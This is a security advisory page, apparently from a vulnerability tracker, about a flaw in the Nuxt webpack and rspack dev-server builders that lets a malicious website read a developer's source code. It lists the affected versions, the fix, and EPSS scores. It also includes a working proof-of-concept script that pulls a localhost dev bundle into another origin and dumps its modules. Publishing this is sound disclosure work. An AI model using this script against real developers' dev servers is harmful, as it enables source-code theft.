Loading advisory.
Loading advisory.
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
Published 2025-01-25 00:53 UTC · Modified 2026-07-08 08:14 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score. How tiers work
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| @nuxt/webpack-builder | npm | >= 3.0.0, < 3.15.3 | 3.15.3 | npm install @nuxt/webpack-builder@3.15.3 |
| @nuxt/rspack-builder | npm | >= 3.12.2, < 3.15.3 | 3.15.3 | npm install @nuxt/rspack-builder@3.15.3 |
Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script.
By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.
Create a nuxt project with webpack / rspack builder.
Run npm run dev
Open http://localhost:3000
Run the script below in a web site that has a different origin.
You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
for (const page in window.webpackChunknuxt_app) {
const moduleList = window.webpackChunknuxt_app[page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)image
It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).
Users using webpack / rspack builder may get the source code stolen by malicious websites.
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.003 on 2026-11-24 to 0.006 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.003 | first score | v2026.06.15 |
| 2026-11-26 | 0.006 | 0.003 | v2026.06.15 |